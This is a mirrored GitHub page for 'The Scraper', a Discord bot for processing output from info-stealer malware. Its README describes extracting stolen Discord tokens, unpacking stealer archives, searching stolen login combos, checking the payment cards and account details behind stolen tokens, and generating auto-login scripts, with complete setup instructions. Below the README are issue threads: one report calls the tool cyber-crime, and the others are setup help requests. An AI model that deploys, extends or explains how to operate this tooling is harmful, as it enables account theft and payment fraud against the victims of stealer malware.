Git Product home page Git Product logo

the-scraper's Introduction

The Scraper

This project is now closed. If you are still logging in 2023, that's just sad ngl. Don't waste your time on cool Discord @'s or combo stealing and instead do something cool. I will leave this repo up for preservation purposes.

General features:

  • Token extract from all messages
  • Combo scraper (works with bby, hazard, pirate)
  • HazardV2 Zip file auto unpack
  • PirateStealer Zip auto unpack
  • bby cookie file auto convert

Commands:

  • /tokens : generates a list of scraped tokens, ordered newest first to oldest
  • /combos : search grabbed combos. for example, /combos netflix.com will find all scraped Netflix combos
  • /timestamp : converts a Discord ID to a timestamp
  • /role_config : allows you to add role pings for special cases like billing, boosts, nitro, HQ Guilds and more
  • /agree : basically a joke command.
  • /authorize : authorizes the guild to use the bot
  • /deauthorize : deauthorizes the guild to use the bot

Token checker features:

  • Friend count
  • HQ Friends (probably broken)
  • Creation date
  • Email
  • Phone number
  • Badges
  • Username + discrim
  • Bio
  • Billing (actually shows which cards are valid)
  • HQ Guilds (finds guilds that the token has permissions in and has more than x amount of members)
  • Nitro Status
  • Auto login script generation
  • Boost detection

All of this data is stored in the db.

Setup:

You will need

  • Linux cloud server. For this tutorial I will be assuming you are running something debian based.
  • A domain (if you want to use the forwarder)
  • A discord bot account

Step 1

SSH into the server and run the following commands:

sudo apt-get update
sudo apt-get install mariadb-server curl git
curl -sL https://deb.nodesource.com/setup_16.x | sudo bash -
sudo apt-get install nodejs -y

Now, clone the repo by doing:

git clone https://github.com/kogeki/the-scraper.git
cd the-scraper

Type mysql to start a MySQL interactive shell.

Then, run the following commands:

CREATE DATABASE grabber;
CREATE USER 'grabber'@'localhost' IDENTIFIED BY 'grabber';
GRANT ALL PRIVILEGES ON grabber.* TO 'grabber'@'localhost';
FLUSH PRIVILEGES;

Then, run the following commands:

mysql -u <USERNAME> -p <PASSWORD> grabber < setup.sql

Now, authorize your guild by running the following command:

INSERT INTO guilds (guild_id, authorized) VALUES (<YOUR GUILD ID>, 1);

Now, edit the config by doing:

nano config.json.example

For token, put your discord bot token.

For clientId put your discord bot client id.

For guildId put your discord guild id (the one you want to use the bot in).

For owner put your discord id.

For webhookURL put your discord webhook url for logs.

For forwarder_base_url put your domain that you want to use WITHOUT the http:// or https://.

For host put in your MySQL host. Usually localhost.

For user put in your MySQL user. Usually root (not recommended).

For port put in your MySQL port. Usually 3306.

For password put in your MySQL password.

For database put in your MySQL database. It is grabber unless you changed it.

Once you are done, save and exit, and run the following commands:

mv config.json.example config.json

Since the bot uses slash commands, you will need to invite it with this URL:

https://discord.com/api/oauth2/authorize?client_id=<YOUR BOT CLIENT ID>&permissions=8&scope=bot%20applications.commands

Then, run the following commands:

npm install
node deploy-commands.js
node index.js

Done!

Help:

Make an issue on the github repo.

the-scraper's People

Contributors

kogeki avatar svg-rs avatar verticalsync avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

the-scraper's Issues

Question

what do i put in host,port,database,user and password?

Repository enables the conduction of cyber-crime. Requesting immediate deletion of this repository

Hello,
I am sure you are well aware of the fact that this repository serves no legitimate purpose other than to aid in the theft of online accounts. The contents of this repository are only relevant to actors currently engaged in operating popular info stealer malware targeting Discord and serve no legitimate cyber-security purpose. I understand you are relatively young, however, you must be aware that you bare some responsibility for the activities of those who use this program.

Legally speaking, you may be liable for the damage caused by users of this tool and may even face criminal charges in some jurisdictions. It would be wise to remove this repository and cease all affiliation with users of this software before this catches up with you. I don't think hiding behind "I didn't actually write the stealer" would get you that far, if this ever came to court.

Bot isnt online

sorry to be spammy here but the bot isn't online
everything else is working
i also know it worked because on the bots profile it says it supports commands

image

SQL Error

sqlMessage: 'Client does not support authentication protocol requested by server; consider upgrading MariaDB client',

i configured everything when i write "node deploy-commands.js" this error pops

Can't Launch Bot "Access denied for user 'grabber'@'localhost' (using password: YES"

Error: ER_ACCESS_DENIED_ERROR: Access denied for user 'grabber'@'localhost' (using password: YES) at Handshake.Sequence._packetToError (/root/the-scraper/node_modules/mysql/lib/protocol/sequences/Sequence.js:47:14) at Handshake.ErrorPacket (/root/the-scraper/node_modules/mysql/lib/protocol/sequences/Handshake.js:123:18) at Protocol._parsePacket (/root/the-scraper/node_modules/mysql/lib/protocol/Protocol.js:291:23) at Parser._parsePacket (/root/the-scraper/node_modules/mysql/lib/protocol/Parser.js:433:10) at Parser.write (/root/the-scraper/node_modules/mysql/lib/protocol/Parser.js:43:10) at Protocol.write (/root/the-scraper/node_modules/mysql/lib/protocol/Protocol.js:38:16) at Socket.<anonymous> (/root/the-scraper/node_modules/mysql/lib/Connection.js:88:28) at Socket.<anonymous> (/root/the-scraper/node_modules/mysql/lib/Connection.js:526:10) at Socket.emit (node:events:527:28) at addChunk (node:internal/streams/readable:315:12) -------------------- at Protocol._enqueue (/root/the-scraper/node_modules/mysql/lib/protocol/Protocol.js:144:48) at Protocol.handshake (/root/the-scraper/node_modules/mysql/lib/protocol/Protocol.js:51:23) at Connection.connect (/root/the-scraper/node_modules/mysql/lib/Connection.js:116:18) at Object.<anonymous> (/root/the-scraper/db.js:11:5) at Module._compile (node:internal/modules/cjs/loader:1105:14) at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10) at Module.load (node:internal/modules/cjs/loader:981:32) at Function.Module._load (node:internal/modules/cjs/loader:822:12) at Module.require (node:internal/modules/cjs/loader:1005:19) at require (node:internal/modules/cjs/helpers:102:18) { code: 'ER_ACCESS_DENIED_ERROR', errno: 1045, sqlMessage: "Access denied for user 'grabber'@'localhost' (using password: YES)", sqlState: '28000', fatal: true }

2022-07-18_21-40

Bot closes

node index.js

runs, whenever I try a command

it errors

throw err; // Rethrow non-MySQL errors
^

TypeError: Cannot read properties of undefined (reading 'length')
at Query. (/home/kali/the-scraper/index.js:475:20)
at Query. (/home/kali/the-scraper/node_modules/mysql/lib/Connection.js:526:10)
at Query._callback (/home/kali/the-scraper/node_modules/mysql/lib/Connection.js:488:16)
at Query.Sequence.end (/home/kali/the-scraper/node_modules/mysql/lib/protocol/sequences/Sequence.js:83:24)
at Query.ErrorPacket (/home/kali/the-scraper/node_modules/mysql/lib/protocol/sequences/Query.js:92:8)
at Protocol._parsePacket (/home/kali/the-scraper/node_modules/mysql/lib/protocol/Protocol.js:291:23)
at Parser._parsePacket (/home/kali/the-scraper/node_modules/mysql/lib/protocol/Parser.js:433:10)
at Parser.write (/home/kali/the-scraper/node_modules/mysql/lib/protocol/Parser.js:43:10)
at Protocol.write (/home/kali/the-scraper/node_modules/mysql/lib/protocol/Protocol.js:38:16)
at Socket. (/home/kali/the-scraper/node_modules/mysql/lib/Connection.js:88:28)

unknown (5)

I need help with mysql

Im doing the bit where you mysql -u <username> -p <password> grabber < setup.sql and it will not work for me it is saying there is no directory or file location

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.